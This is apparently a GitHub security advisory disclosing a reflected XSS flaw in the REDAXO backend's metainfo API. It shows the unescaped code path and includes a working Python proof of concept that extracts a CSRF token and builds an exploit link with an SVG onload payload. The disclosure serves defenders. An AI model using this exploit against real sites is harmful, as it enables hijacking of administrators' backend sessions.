GHSA-m662-8jrj-cw6v

Summary

A reflected XSS vulnerability has been identified in the REDAXO backend. The type parameter is concatenated into an API error message and rendered without HTML escaping.

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Details

Root cause
User input type is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.

Vulnerable code (redaxo/src/addons/metainfo/lib/handler/api_default_fields.php) :

$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));

Sink (redaxo/src/core/lib/view.php) :

return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Data flow source -> sink

• Source : type (GET)
• Propagation : concatenated into the exception message
• Sink : rendered via rex_view::error() -> rex_view::message() without escaping

Authentication required : yes (backend session)

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PoC - exploit

#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\"><svg/onload=alert("pwned")>'


def build_backend_url() -> str:
    base = TARGET_URL.rstrip("/")
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
    if not m:
        raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
    fragment = m.group(0).replace("&amp;", "&")
    token_match = re.search(r"_csrf_token=([^&]+)", fragment)
    if not token_match:
        raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
    return token_match.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Admin backend session required
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "metainfo/articles",
        "rex-api-call": "metainfo_default_fields_create",
        "type": PAYLOAD,
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.

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Impact

• Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
• Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
• Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Video

https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83